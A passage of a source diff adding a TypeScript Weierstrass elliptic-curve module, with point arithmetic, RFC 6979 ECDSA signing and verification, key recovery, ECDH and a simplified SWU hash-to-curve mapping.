assertPrjPoint(other); + const { px: X1, py: Y1, pz: Z1 } = this; + const { px: X2, py: Y2, pz: Z2 } = other; + let X3 = Fp.ZERO, Y3 = Fp.ZERO, Z3 = Fp.ZERO; // prettier-ignore + const a = CURVE.a; + const b3 = Fp.mul(CURVE.b, _3n); + let t0 = Fp.mul(X1, X2); // step 1 + let t1 = Fp.mul(Y1, Y2); + let t2 = Fp.mul(Z1, Z2); + let t3 = Fp.add(X1, Y1); + let t4 = Fp.add(X2, Y2); // step 5 + t3 = Fp.mul(t3, t4); + t4 = Fp.add(t0, t1); + t3 = Fp.sub(t3, t4); + t4 = Fp.add(X1, Z1); + let t5 = Fp.add(X2, Z2); // step 10 + t4 = Fp.mul(t4, t5); + t5 = Fp.add(t0, t2); + t4 = Fp.sub(t4, t5); + t5 = Fp.add(Y1, Z1); + X3 = Fp.add(Y2, Z2); // step 15 + t5 = Fp.mul(t5, X3); + X3 = Fp.add(t1, t2); + t5 = Fp.sub(t5, X3); + Z3 = Fp.mul(a, t4); + X3 = Fp.mul(b3, t2); // step 20 + Z3 = Fp.add(X3, Z3); + X3 = Fp.sub(t1, Z3); + Z3 = Fp.add(t1, Z3); + Y3 = Fp.mul(X3, Z3); + t1 = Fp.add(t0, t0); // step 25 + t1 = Fp.add(t1, t0); + t2 = Fp.mul(a, t2); + t4 = Fp.mul(b3, t4); + t1 = Fp.add(t1, t2); + t2 = Fp.sub(t0, t2); // step 30 + t2 = Fp.mul(a, t2); + t4 = Fp.add(t4, t2); + t0 = Fp.mul(t1, t4); + Y3 = Fp.add(Y3, t0); + t0 = Fp.mul(t5, t4); // step 35 + X3 = Fp.mul(t3, X3); + X3 = Fp.sub(X3, t0); + t0 = Fp.mul(t3, t1); + Z3 = Fp.mul(t5, Z3); + Z3 = Fp.add(Z3, t0); // step 40 + return new Point(X3, Y3, Z3); + } + + subtract(other: Point) { + return this.add(other.negate()); + } + + private is0() { + return this.equals(Point.ZERO); + } + private wNAF(n: bigint): { p: Point; f: Point } { + return wnaf.wNAFCached(this, pointPrecomputes, n, (comp: Point[]) => { + const toInv = Fp.invertBatch(comp.map((p) => p.pz)); + return comp.map((p, i) => p.toAffine(toInv[i])).map(Point.fromAffine); + }); + } + + /** + * Non-constant-time multiplication. Uses double-and-add algorithm. + * It's faster, but should only be used when you don't care about + * an exposed private key e.g. sig verification, which works over *public* keys. + */ + multiplyUnsafe(n: bigint): Point { + const I = Point.ZERO; + if (n === _0n) return I; + assertGE(n); // Will throw on 0 + if (n === _1n) return this; + const { endo } = CURVE; + if (!endo) return wnaf.unsafeLadder(this, n); + + // Apply endomorphism + let { k1neg, k1, k2neg, k2 } = endo.splitScalar(n); + let k1p = I; + let k2p = I; + let d: Point = this; + while (k1 > _0n || k2 > _0n) { + if (k1 & _1n) k1p = k1p.add(d); + if (k2 & _1n) k2p = k2p.add(d); + d = d.double(); + k1 >>= _1n; + k2 >>= _1n; + } + if (k1neg) k1p = k1p.negate(); + if (k2neg) k2p = k2p.negate(); + k2p = new Point(Fp.mul(k2p.px, endo.beta), k2p.py, k2p.pz); + return k1p.add(k2p); + } + + /** + * Constant time multiplication. + * Uses wNAF method. Windowed method may be 10% faster, + * but takes 2x longer to generate and consumes 2x memory. + * Uses precomputes when available. + * Uses endomorphism for Koblitz curves. + * @param scalar by which the point would be multiplied + * @returns New point + */ + multiply(scalar: bigint): Point { + assertGE(scalar); + let n = scalar; + let point: Point, fake: Point; // Fake point is used to const-time mult + const { endo } = CURVE; + if (endo) { + const { k1neg, k1, k2neg, k2 } = endo.splitScalar(n); + let { p: k1p, f: f1p } = this.wNAF(k1); + let { p: k2p, f: f2p } = this.wNAF(k2); + k1p = wnaf.constTimeNegate(k1neg, k1p); + k2p = wnaf.constTimeNegate(k2neg, k2p); + k2p = new Point(Fp.mul(k2p.px, endo.beta), k2p.py, k2p.pz); + point = k1p.add(k2p); + fake = f1p.add(f2p); + } else { + const { p, f } = this.wNAF(n); + point = p; + fake = f; + } + // Normalize `z` for both points, but return only real one + return Point.normalizeZ([point, fake])[0]; + } + + /** + * Efficiently calculate `aP + bQ`. Unsafe, can expose private key, if used incorrectly. + * Not using Strauss-Shamir trick: precomputation tables are faster. + * The trick could be useful if both P and Q are not G (not in our case). + * @returns non-zero affine point + */ + multiplyAndAddUnsafe(Q: Point, a: bigint, b: bigint): Point | undefined { + const G = Point.BASE; // No Strauss-Shamir trick: we have 10% faster G precomputes + const mul = ( + P: Point, + a: bigint // Select faster multiply() method + ) => (a === _0n || a === _1n || !P.equals(G) ? P.multiplyUnsafe(a) : P.multiply(a)); + const sum = mul(this, a).add(mul(Q, b)); + return sum.is0() ? undefined : sum; + } + + // Converts Projective point to affine (x, y) coordinates. + // Can accept precomputed Z^-1 - for example, from invertBatch. + // (x, y, z) ∋ (x=x/z, y=y/z) + toAffine(iz?: T): AffinePoint { + const { px: x, py: y, pz: z } = this; + const is0 = this.is0(); + // If invZ was 0, we return zero point. However we still want to execute + // all operations, so we replace invZ with a random number, 1. + if (iz == null) iz = is0 ? Fp.ONE : Fp.inv(z); + const ax = Fp.mul(x, iz); + const ay = Fp.mul(y, iz); + const zz = Fp.mul(z, iz); + if (is0) return { x: Fp.ZERO, y: Fp.ZERO }; + if (!Fp.eql(zz, Fp.ONE)) throw new Error('invZ was invalid'); + return { x: ax, y: ay }; + } + isTorsionFree(): boolean { + const { h: cofactor, isTorsionFree } = CURVE; + if (cofactor === _1n) return true; // No subgroups, always torsion-free + if (isTorsionFree) return isTorsionFree(Point, this); + throw new Error('isTorsionFree() has not been declared for the elliptic curve'); + } + clearCofactor(): Point { + const { h: cofactor, clearCofactor } = CURVE; + if (cofactor === _1n) return this; // Fast-path + if (clearCofactor) return clearCofactor(Point, this) as Point; + return this.multiplyUnsafe(CURVE.h); + } + + toRawBytes(isCompressed = true): Uint8Array { + this.assertValidity(); + return toBytes(Point, this, isCompressed); + } + + toHex(isCompressed = true): string { + return ut.bytesToHex(this.toRawBytes(isCompressed)); + } + } + const _bits = CURVE.nBitLength; + const wnaf = wNAF(Point, CURVE.endo ? Math.ceil(_bits / 2) : _bits); + // Validate if generator point is on curve + return { + CURVE, + ProjectivePoint: Point as ProjConstructor, + normPrivateKeyToScalar, + weierstrassEquation, + isWithinCurveOrder, + }; +} + +// Instance +export interface SignatureType { + readonly r: bigint; + readonly s: bigint; + readonly recovery?: number; + assertValidity(): void; + addRecoveryBit(recovery: number): RecoveredSignatureType; + hasHighS(): boolean; + normalizeS(): SignatureType; + recoverPublicKey(msgHash: Hex): ProjPointType; + toCompactRawBytes(): Uint8Array; + toCompactHex(): string; + // DER-encoded + toDERRawBytes(isCompressed?: boolean): Uint8Array; + toDERHex(isCompressed?: boolean): string; +} +export type RecoveredSignatureType = SignatureType & { + readonly recovery: number; +}; +// Static methods +export type SignatureConstructor = { + new (r: bigint, s: bigint): SignatureType; + fromCompact(hex: Hex): SignatureType; + fromDER(hex: Hex): SignatureType; +}; +type SignatureLike = { r: bigint; s: bigint }; + +export type PubKey = Hex | ProjPointType; + +export type CurveType = BasicWCurve & { + hash: CHash; // CHash not FHash because we need outputLen for DRBG + hmac: HmacFnSync; + randomBytes: (bytesLength?: number) => Uint8Array; + lowS?: boolean; + bits2int?: (bytes: Uint8Array) => bigint; + bits2int_modN?: (bytes: Uint8Array) => bigint; +}; + +function validateOpts(curve: CurveType) { + const opts = validateBasic(curve); + ut.validateObject( + opts, + { + hash: 'hash', + hmac: 'function', + randomBytes: 'function', + }, + { + bits2int: 'function', + bits2int_modN: 'function', + lowS: 'boolean', + } + ); + return Object.freeze({ lowS: true, ...opts } as const); +} + +export type CurveFn = { + CURVE: ReturnType; + getPublicKey: (privateKey: PrivKey, isCompressed?: boolean) => Uint8Array; + getSharedSecret: (privateA: PrivKey, publicB: Hex, isCompressed?: boolean) => Uint8Array; + sign: (msgHash: Hex, privKey: PrivKey, opts?: SignOpts) => RecoveredSignatureType; + verify: (signature: Hex | SignatureLike, msgHash: Hex, publicKey: Hex, opts?: VerOpts) => boolean; + ProjectivePoint: ProjConstructor; + Signature: SignatureConstructor; + utils: { + normPrivateKeyToScalar: (key: PrivKey) => bigint; + isValidPrivateKey(privateKey: PrivKey): boolean; + randomPrivateKey: () => Uint8Array; + precompute: (windowSize?: number, point?: ProjPointType) => ProjPointType; + }; +}; + +export function weierstrass(curveDef: CurveType): CurveFn { + const CURVE = validateOpts(curveDef) as ReturnType; + const { Fp, n: CURVE_ORDER } = CURVE; + const compressedLen = Fp.BYTES + 1; // e.g. 33 for 32 + const uncompressedLen = 2 * Fp.BYTES + 1; // e.g. 65 for 32 + + function isValidFieldElement(num: bigint): boolean { + return _0n < num && num < Fp.ORDER; // 0 is banned since it's not invertible FE + } + function modN(a: bigint) { + return mod.mod(a, CURVE_ORDER); + } + function invN(a: bigint) { + return mod.invert(a, CURVE_ORDER); + } + + const { + ProjectivePoint: Point, + normPrivateKeyToScalar, + weierstrassEquation, + isWithinCurveOrder, + } = weierstrassPoints({ + ...CURVE, + toBytes(_c, point, isCompressed: boolean): Uint8Array { + const a = point.toAffine(); + const x = Fp.toBytes(a.x); + const cat = ut.concatBytes; + if (isCompressed) { + return cat(Uint8Array.from([point.hasEvenY() ? 0x02 : 0x03]), x); + } else { + return cat(Uint8Array.from([0x04]), x, Fp.toBytes(a.y)); + } + }, + fromBytes(bytes: Uint8Array) { + const len = bytes.length; + const head = bytes[0]; + const tail = bytes.subarray(1); + // this.assertValidity() is done inside of fromHex + if (len === compressedLen && (head === 0x02 || head === 0x03)) { + const x = ut.bytesToNumberBE(tail); + if (!isValidFieldElement(x)) throw new Error('Point is not on curve'); + const y2 = weierstrassEquation(x); // y² = x³ + ax + b + let y = Fp.sqrt(y2); // y = y² ^ (p+1)/4 + const isYOdd = (y & _1n) === _1n; + // ECDSA + const isHeadOdd = (head & 1) === 1; + if (isHeadOdd !== isYOdd) y = Fp.neg(y); + return { x, y }; + } else if (len === uncompressedLen && head === 0x04) { + const x = Fp.fromBytes(tail.subarray(0, Fp.BYTES)); + const y = Fp.fromBytes(tail.subarray(Fp.BYTES, 2 * Fp.BYTES)); + return { x, y }; + } else { + throw new Error( + `Point of length ${len} was invalid. Expected ${compressedLen} compressed bytes or ${uncompressedLen} uncompressed bytes` + ); + } + }, + }); + const numToNByteStr = (num: bigint): string => + ut.bytesToHex(ut.numberToBytesBE(num, CURVE.nByteLength)); + + function isBiggerThanHalfOrder(number: bigint) { + const HALF = CURVE_ORDER >> _1n; + return number > HALF; + } + + function normalizeS(s: bigint) { + return isBiggerThanHalfOrder(s) ? modN(-s) : s; + } + // slice bytes num + const slcNum = (b: Uint8Array, from: number, to: number) => ut.bytesToNumberBE(b.slice(from, to)); + + /** + * ECDSA signature with its (r, s) properties. Supports DER & compact representations. + */ + class Signature implements SignatureType { + constructor(readonly r: bigint, readonly s: bigint, readonly recovery?: number) { + this.assertValidity(); + } + + // pair (bytes of r, bytes of s) + static fromCompact(hex: Hex) { + const l = CURVE.nByteLength; + hex = ensureBytes('compactSignature', hex, l * 2); + return new Signature(slcNum(hex, 0, l), slcNum(hex, l, 2 * l)); + } + + // DER encoded ECDSA signature + // https://bitcoin.stackexchange.com/questions/57644/what-are-the-parts-of-a-bitcoin-transaction-input-script + static fromDER(hex: Hex) { + const { r, s } = DER.toSig(ensureBytes('DER', hex)); + return new Signature(r, s); + } + + assertValidity(): void { + // can use assertGE here + if (!isWithinCurveOrder(this.r)) throw new Error('r must be 0 < r < CURVE.n'); + if (!isWithinCurveOrder(this.s)) throw new Error('s must be 0 < s < CURVE.n'); + } + + addRecoveryBit(recovery: number): RecoveredSignature { + return new Signature(this.r, this.s, recovery) as RecoveredSignature; + } + + recoverPublicKey(msgHash: Hex): typeof Point.BASE { + const { r, s, recovery: rec } = this; + const h = bits2int_modN(ensureBytes('msgHash', msgHash)); // Truncate hash + if (rec == null || ![0, 1, 2, 3].includes(rec)) throw new Error('recovery id invalid'); + const radj = rec === 2 || rec === 3 ? r + CURVE.n : r; + if (radj >= Fp.ORDER) throw new Error('recovery id 2 or 3 invalid'); + const prefix = (rec & 1) === 0 ? '02' : '03'; + const R = Point.fromHex(prefix + numToNByteStr(radj)); + const ir = invN(radj); // r^-1 + const u1 = modN(-h * ir); // -hr^-1 + const u2 = modN(s * ir); // sr^-1 + const Q = Point.BASE.multiplyAndAddUnsafe(R, u1, u2); // (sr^-1)R-(hr^-1)G = -(hr^-1)G + (sr^-1) + if (!Q) throw new Error('point at infinify'); // unsafe is fine: no priv data leaked + Q.assertValidity(); + return Q; + } + + // Signatures should be low-s, to prevent malleability. + hasHighS(): boolean { + return isBiggerThanHalfOrder(this.s); + } + + normalizeS() { + return this.hasHighS() ? new Signature(this.r, modN(-this.s), this.recovery) : this; + } + + // DER-encoded + toDERRawBytes() { + return ut.hexToBytes(this.toDERHex()); + } + toDERHex() { + return DER.hexFromSig({ r: this.r, s: this.s }); + } + + // padded bytes of r, then padded bytes of s + toCompactRawBytes() { + return ut.hexToBytes(this.toCompactHex()); + } + toCompactHex() { + return numToNByteStr(this.r) + numToNByteStr(this.s); + } + } + type RecoveredSignature = Signature & { recovery: number }; + + const utils = { + isValidPrivateKey(privateKey: PrivKey) { + try { + normPrivateKeyToScalar(privateKey); + return true; + } catch (error) { + return false; + } + }, + normPrivateKeyToScalar: normPrivateKeyToScalar, + + /** + * Produces cryptographically secure private key from random of size + * (groupLen + ceil(groupLen / 2)) with modulo bias being negligible. + */ + randomPrivateKey: (): Uint8Array => { + const length = mod.getMinHashLength(CURVE.n); + return mod.mapHashToField(CURVE.randomBytes(length), CURVE.n); + }, + + /** + * Creates precompute table for an arbitrary EC point. Makes point "cached". + * Allows to massively speed-up `point.multiply(scalar)`. + * @returns cached point + * @example + * const fast = utils.precompute(8, ProjectivePoint.fromHex(someonesPubKey)); + * fast.multiply(privKey); // much faster ECDH now + */ + precompute(windowSize = 8, point = Point.BASE): typeof Point.BASE { + point._setWindowSize(windowSize); + point.multiply(BigInt(3)); // 3 is arbitrary, just need any number here + return point; + }, + }; + + /** + * Computes public key for a private key. Checks for validity of the private key. + * @param privateKey private key + * @param isCompressed whether to return compact (default), or full key + * @returns Public key, full when isCompressed=false; short when isCompressed=true + */ + function getPublicKey(privateKey: PrivKey, isCompressed = true): Uint8Array { + return Point.fromPrivateKey(privateKey).toRawBytes(isCompressed); + } + + /** + * Quick and dirty check for item being public key. Does not validate hex, or being on-curve. + */ + function isProbPub(item: PrivKey | PubKey): boolean { + const arr = item instanceof Uint8Array; + const str = typeof item === 'string'; + const len = (arr || str) && (item as Hex).length; + if (arr) return len === compressedLen || len === uncompressedLen; + if (str) return len === 2 * compressedLen || len === 2 * uncompressedLen; + if (item instanceof Point) return true; + return false; + } + + /** + * ECDH (Elliptic Curve Diffie Hellman). + * Computes shared public key from private key and public key. + * Checks: 1) private key validity 2) shared key is on-curve. + * Does NOT hash the result. + * @param privateA private key + * @param publicB different public key + * @param isCompressed whether to return compact (default), or full key + * @returns shared public key + */ + function getSharedSecret(privateA: PrivKey, publicB: Hex, isCompressed = true): Uint8Array { + if (isProbPub(privateA)) throw new Error('first arg must be private key'); + if (!isProbPub(publicB)) throw new Error('second arg must be public key'); + const b = Point.fromHex(publicB); // check for being on-curve + return b.multiply(normPrivateKeyToScalar(privateA)).toRawBytes(isCompressed); + } + + // RFC6979: ensure ECDSA msg is X bytes and < N. RFC suggests optional truncating via bits2octets. + // FIPS 186-4 4.6 suggests the leftmost min(nBitLen, outLen) bits, which matches bits2int. + // bits2int can produce res>N, we can do mod(res, N) since the bitLen is the same. + // int2octets can't be used; pads small msgs with 0: unacceptatble for trunc as per RFC vectors + const bits2int = + CURVE.bits2int || + function (bytes: Uint8Array): bigint { + // For curves with nBitLength % 8 !== 0: bits2octets(bits2octets(m)) !== bits2octets(m) + // for some cases, since bytes.length * 8 is not actual bitLength. + const num = ut.bytesToNumberBE(bytes); // check for == u8 done here + const delta = bytes.length * 8 - CURVE.nBitLength; // truncate to nBitLength leftmost bits + return delta > 0 ? num >> BigInt(delta) : num; + }; + const bits2int_modN = + CURVE.bits2int_modN || + function (bytes: Uint8Array): bigint { + return modN(bits2int(bytes)); // can't use bytesToNumberBE here + }; + // NOTE: pads output with zero as per spec + const ORDER_MASK = ut.bitMask(CURVE.nBitLength); + /** + * Converts to bytes. Checks if num in `[0..ORDER_MASK-1]` e.g.: `[0..2^256-1]`. + */ + function int2octets(num: bigint): Uint8Array { + if (typeof num !== 'bigint') throw new Error('bigint expected'); + if (!(_0n <= num && num < ORDER_MASK)) + throw new Error(`bigint expected < 2^${CURVE.nBitLength}`); + // works with order, can have different size than numToField! + return ut.numberToBytesBE(num, CURVE.nByteLength); + } + + // Steps A, D of RFC6979 3.2 + // Creates RFC6979 seed; converts msg/privKey to numbers. + // Used only in sign, not in verify. + // NOTE: we cannot assume here that msgHash has same amount of bytes as curve order, this will be wrong at least for P521. + // Also it can be bigger for P224 + SHA256 + function prepSig(msgHash: Hex, privateKey: PrivKey, opts = defaultSigOpts) { + if (['recovered', 'canonical'].some((k) => k in opts)) + throw new Error('sign() legacy options not supported'); + const { hash, randomBytes } = CURVE; + let { lowS, prehash, extraEntropy: ent } = opts; // generates low-s sigs by default + if (lowS == null) lowS = true; // RFC6979 3.2: we skip step A, because we already provide hash + msgHash = ensureBytes('msgHash', msgHash); + if (prehash) msgHash = ensureBytes('prehashed msgHash', hash(msgHash)); + + // We can't later call bits2octets, since nested bits2int is broken for curves + // with nBitLength % 8 !== 0. Because of that, we unwrap it here as int2octets call. + // const bits2octets = (bits) => int2octets(bits2int_modN(bits)) + const h1int = bits2int_modN(msgHash); + const d = normPrivateKeyToScalar(privateKey); // validate private key, convert to bigint + const seedArgs = [int2octets(d), int2octets(h1int)]; + // extraEntropy. RFC6979 3.6: additional k' (optional). + if (ent != null) { + // K = HMAC_K(V || 0x00 || int2octets(x) || bits2octets(h1) || k') + const e = ent === true ? randomBytes(Fp.BYTES) : ent; // generate random bytes OR pass as-is + seedArgs.push(ensureBytes('extraEntropy', e)); // check for being bytes + } + const seed = ut.concatBytes(...seedArgs); // Step D of RFC6979 3.2 + const m = h1int; // NOTE: no need to call bits2int second time here, it is inside truncateHash! + // Converts signature params into point w r/s, checks result for validity. + function k2sig(kBytes: Uint8Array): RecoveredSignature | undefined { + // RFC 6979 Section 3.2, step 3: k = bits2int(T) + const k = bits2int(kBytes); // Cannot use fields methods, since it is group element + if (!isWithinCurveOrder(k)) return; // Important: all mod() calls here must be done over N + const ik = invN(k); // k^-1 mod n + const q = Point.BASE.multiply(k).toAffine(); // q = Gk + const r = modN(q.x); // r = q.x mod n + if (r === _0n) return; + // Can use scalar blinding b^-1(bm + bdr) where b ∈ [1,q−1] according to + // https://tches.iacr.org/index.php/TCHES/article/view/7337/6509. We've decided against it: + // a) dependency on CSPRNG b) 15% slowdown c) doesn't really help since bigints are not CT + const s = modN(ik * modN(m + r * d)); // Not using blinding here + if (s === _0n) return; + let recovery = (q.x === r ? 0 : 2) | Number(q.y & _1n); // recovery bit (2 or 3, when q.x > n) + let normS = s; + if (lowS && isBiggerThanHalfOrder(s)) { + normS = normalizeS(s); // if lowS was passed, ensure s is always + recovery ^= 1; // // in the bottom half of N + } + return new Signature(r, normS, recovery) as RecoveredSignature; // use normS, not s + } + return { seed, k2sig }; + } + const defaultSigOpts: SignOpts = { lowS: CURVE.lowS, prehash: false }; + const defaultVerOpts: VerOpts = { lowS: CURVE.lowS, prehash: false }; + + /** + * Signs message hash with a private key. + * ``` + * sign(m, d, k) where + * (x, y) = G × k + * r = x mod n + * s = (m + dr)/k mod n + * ``` + * @param msgHash NOT message. msg needs to be hashed to `msgHash`, or use `prehash`. + * @param privKey private key + * @param opts lowS for non-malleable sigs. extraEntropy for mixing randomness into k. prehash will hash first arg. + * @returns signature with recovery param + */ + function sign(msgHash: Hex, privKey: PrivKey, opts = defaultSigOpts): RecoveredSignature { + const { seed, k2sig } = prepSig(msgHash, privKey, opts); // Steps A, D of RFC6979 3.2. + const C = CURVE; + const drbg = ut.createHmacDrbg(C.hash.outputLen, C.nByteLength, C.hmac); + return drbg(seed, k2sig); // Steps B, C, D, E, F, G + } + + // Enable precomputes. Slows down first publicKey computation by 20ms. + Point.BASE._setWindowSize(8); + // utils.precompute(8, ProjectivePoint.BASE) + + /** + * Verifies a signature against message hash and public key. + * Rejects lowS signatures by default: to override, + * specify option `{lowS: false}`. Implements section 4.1.4 from https://www.secg.org/sec1-v2.pdf: + * + * ``` + * verify(r, s, h, P) where + * U1 = hs^-1 mod n + * U2 = rs^-1 mod n + * R = U1⋅G - U2⋅P + * mod(R.x, n) == r + * ``` + */ + function verify( + signature: Hex | SignatureLike, + msgHash: Hex, + publicKey: Hex, + opts = defaultVerOpts + ): boolean { + const sg = signature; + msgHash = ensureBytes('msgHash', msgHash); + publicKey = ensureBytes('publicKey', publicKey); + if ('strict' in opts) throw new Error('options.strict was renamed to lowS'); + const { lowS, prehash } = opts; + + let _sig: Signature | undefined = undefined; + let P: ProjPointType; + try { + if (typeof sg === 'string' || sg instanceof Uint8Array) { + // Signature can be represented in 2 ways: compact (2*nByteLength) & DER (variable-length). + // Since DER can also be 2*nByteLength bytes, we check for it first. + try { + _sig = Signature.fromDER(sg); + } catch (derError) { + if (!(derError instanceof DER.Err)) throw derError; + _sig = Signature.fromCompact(sg); + } + } else if (typeof sg === 'object' && typeof sg.r === 'bigint' && typeof sg.s === 'bigint') { + const { r, s } = sg; + _sig = new Signature(r, s); + } else { + throw new Error('PARSE'); + } + P = Point.fromHex(publicKey); + } catch (error) { + if ((error as Error).message === 'PARSE') + throw new Error(`signature must be Signature instance, Uint8Array or hex string`); + return false; + } + if (lowS && _sig.hasHighS()) return false; + if (prehash) msgHash = CURVE.hash(msgHash); + const { r, s } = _sig; + const h = bits2int_modN(msgHash); // Cannot use fields methods, since it is group element + const is = invN(s); // s^-1 + const u1 = modN(h * is); // u1 = hs^-1 mod n + const u2 = modN(r * is); // u2 = rs^-1 mod n + const R = Point.BASE.multiplyAndAddUnsafe(P, u1, u2)?.toAffine(); // R = u1⋅G + u2⋅P + if (!R) return false; + const v = modN(R.x); + return v === r; + } + return { + CURVE, + getPublicKey, + getSharedSecret, + sign, + verify, + ProjectivePoint: Point, + Signature, + utils, + }; +} + +/** + * Implementation of the Shallue and van de Woestijne method for any weierstrass curve. + * TODO: check if there is a way to merge this with uvRatio in Edwards; move to modular. + * b = True and y = sqrt(u / v) if (u / v) is square in F, and + * b = False and y = sqrt(Z * (u / v)) otherwise. + * @param Fp + * @param Z + * @returns + */ +export function SWUFpSqrtRatio(Fp: mod.IField, Z: T) { + // Generic implementation + const q = Fp.ORDER; + let l = _0n; + for (let o = q - _1n; o % _2n === _0n; o /= _2n) l += _1n; + const c1 = l; // 1. c1, the largest integer such that 2^c1 divides q - 1. + // We need 2n ** c1 and 2n ** (c1-1). We can't use **; but we can use <<. + // 2n ** c1 == 2n << (c1-1) + const _2n_pow_c1_1 = _2n << (c1 - _1n - _1n); + const _2n_pow_c1 = _2n_pow_c1_1 * _2n; + const c2 = (q - _1n) / _2n_pow_c1; // 2. c2 = (q - 1) / (2^c1) # Integer arithmetic + const c3 = (c2 - _1n) / _2n; // 3. c3 = (c2 - 1) / 2 # Integer arithmetic + const c4 = _2n_pow_c1 - _1n; // 4. c4 = 2^c1 - 1 # Integer arithmetic + const c5 = _2n_pow_c1_1; // 5. c5 = 2^(c1 - 1) # Integer arithmetic + const c6 = Fp.pow(Z, c2); // 6. c6 = Z^c2 + const c7 = Fp.pow(Z, (c2 + _1n) / _2n); // 7. c7 = Z^((c2 + 1) / 2) + let sqrtRatio = (u: T, v: T): { isValid: boolean; value: T } => { + let tv1 = c6; // 1. tv1 = c6 + let tv2 = Fp.pow(v, c4); // 2. tv2 = v^c4 + let tv3 = Fp.sqr(tv2); // 3. tv3 = tv2^2 + tv3 = Fp.mul(tv3, v); // 4. tv3 = tv3 * v + let tv5 = Fp.mul(u, tv3); // 5. tv5 = u * tv3 + tv5 = Fp.pow(tv5, c3); // 6. tv5 = tv5^c3 + tv5 = Fp.mul(tv5, tv2); // 7. tv5 = tv5 * tv2 + tv2 = Fp.mul(tv5, v); // 8. tv2 = tv5 * v + tv3 = Fp.mul(tv5, u); // 9. tv3 = tv5 * u + let tv4 = Fp.mul(tv3, tv2); // 10. tv4 = tv3 * tv2 + tv5 = Fp.pow(tv4, c5); // 11. tv5 = tv4^c5 + let isQR = Fp.eql(tv5, Fp.ONE); // 12. isQR = tv5 == 1 + tv2 = Fp.mul(tv3, c7); // 13. tv2 = tv3 * c7 + tv5 = Fp.mul(tv4, tv1); // 14. tv5 = tv4 * tv1 + tv3 = Fp.cmov(tv2, tv3, isQR); // 15. tv3 = CMOV(tv2, tv3, isQR) + tv4 = Fp.cmov(tv5, tv4, isQR); // 16. tv4 = CMOV(tv5, tv4, isQR) + // 17. for i in (c1, c1 - 1, ..., 2): + for (let i = c1; i > _1n; i--) { + let tv5 = i - _2n; // 18. tv5 = i - 2 + tv5 = _2n << (tv5 - _1n); // 19. tv5 = 2^tv5 + let tvv5 = Fp.pow(tv4, tv5); // 20. tv5 = tv4^tv5 + const e1 = Fp.eql(tvv5, Fp.ONE); // 21. e1 = tv5 == 1 + tv2 = Fp.mul(tv3, tv1); // 22. tv2 = tv3 * tv1 + tv1 = Fp.mul(tv1, tv1); // 23. tv1 = tv1 * tv1 + tvv5 = Fp.mul(tv4, tv1); // 24. tv5 = tv4 * tv1 + tv3 = Fp.cmov(tv2, tv3, e1); // 25. tv3 = CMOV(tv2, tv3, e1) + tv4 = Fp.cmov(tvv5, tv4, e1); // 26. tv4 = CMOV(tv5, tv4, e1) + } + return { isValid: isQR, value: tv3 }; + }; + if (Fp.ORDER % _4n === _3n) { + // sqrt_ratio_3mod4(u, v) + const c1 = (Fp.ORDER - _3n) / _4n; // 1. c1 = (q - 3) / 4 # Integer arithmetic + const c2 = Fp.sqrt(Fp.neg(Z)); // 2. c2 = sqrt(-Z) + sqrtRatio = (u: T, v: T) => { + let tv1 = Fp.sqr(v); // 1. tv1 = v^2 + const tv2 = Fp.mul(u, v); // 2. tv2 = u * v + tv1 = Fp.mul(tv1, tv2); // 3. tv1 = tv1 * tv2 + let y1 = Fp.pow(tv1, c1); // 4. y1 = tv1^c1 + y1 = Fp.mul(y1, tv2); // 5. y1 = y1 * tv2 + const y2 = Fp.mul(y1, c2); // 6. y2 = y1 * c2 + const tv3 = Fp.mul(Fp.sqr(y1), v); // 7. tv3 = y1^2; 8. tv3 = tv3 * v + const isQR = Fp.eql(tv3, u); // 9. isQR = tv3 == u + let y = Fp.cmov(y2, y1, isQR); // 10. y = CMOV(y2, y1, isQR) + return { isValid: isQR, value: y }; // 11. return (isQR, y) isQR ? y : y*c2 + }; + } + // No curves uses that + // if (Fp.ORDER % _8n === _5n) // sqrt_ratio_5mod8 + return sqrtRatio; +} +/** + * Simplified Shallue-van de Woestijne-Ulas Method + * https://www.rfc-editor.org/rfc/rfc9380#section-6.6.2 + */ +export function mapToCurveSimpleSWU( + Fp: mod.IField, + opts: { + A: T; + B: T; + Z: T; + } +) { + mod.validateField(Fp); + if (!Fp.isValid(opts.A) || !Fp.isValid(opts.B) || !Fp.isValid(opts.Z)) + throw new Error('mapToCurveSimpleSWU: invalid opts'); + const sqrtRatio = SWUFpSqrtRatio(Fp, opts.Z); + if (!Fp.isOdd) throw new Error('Fp.isOdd is not implemented!'); + // Input: u, an element of F. + // Output: (x, y), a point on E. + return (u: T): { x: T; y: T } => { + // prettier-ignore + let tv1, tv2, tv3, tv4, tv5, tv6, x, y; + tv1 = Fp.sqr(u); // 1. tv1 = u^2 + tv1 = Fp.mul(tv1, opts.Z); // 2. tv1 = Z * tv1 + tv2 = Fp.sqr(tv1); // 3. tv2 = tv1^2 + tv2 = Fp.add(tv2, tv1); // 4. tv2 = tv2 + tv1 + tv3 = Fp.add(tv2, Fp.ONE); // 5. tv3 = tv2 + 1 + tv3 = Fp.mul(tv3, opts.B); // 6. tv3 = B * tv3 + tv4 = Fp.cmov(opts.Z, Fp.neg(tv2), !Fp.eql(tv2, Fp.ZERO)); // 7. tv4 = CMOV(Z, -tv2, tv2 != 0) + tv4 = Fp.mul(tv4, opts.A); // 8. tv4 = A * tv4 + tv2 = Fp.sqr(tv3); // 9. tv2 = tv3^2 + tv6 = Fp.sqr(tv4); // 10. tv6 = tv4^2 + tv5 = Fp.mul(tv6, opts.A); // 11. tv5 = A * tv6 + tv2 = Fp.add(tv2, tv5); // 12. tv2 = tv2 + tv5 + tv2 = Fp.mul(tv2, tv3); // 13. tv2 = tv2 * tv3 + tv6 = Fp.mul(tv6, tv4); // 14. tv6 = tv6 * tv4 + tv5 = Fp.mul(tv6, opts.B); // 15. tv5 = B * tv6 + tv2 = Fp.add(tv2, tv5); // 16. tv2 = tv2 + tv5 + x = Fp.mul(tv1, tv3); // 17. x = tv1 * tv3 + const { isValid, value } = sqrtRatio(tv2, tv6); // 18. (is_gx1_square, y1) = sqrt_ratio(tv2, tv6) + y = Fp.mul(tv1, u); // 19. y = tv1 * u -> Z * u^3 * y1 + y = Fp.mul(y, value); // 20. y = y * y1 + x = Fp.cmov(x, tv3, isValid); // 21. x = CMOV(x, tv3, is_gx1_square) + y = Fp.cmov(y, value, isValid); // 22. y = CMOV(y, y1, is_gx1_square) + const e1 = Fp.isOdd!(u) === Fp.isOdd!(y); // 23. e1 = sgn0(u) == sgn0(y) + y = Fp.cmov(Fp.neg(y), y, e1); // 24. y = CMOV(-y, y, e1) + x = Fp.div(x, tv4); // 25. x = x / tv4 + return { x, y }; + }; +} diff --git 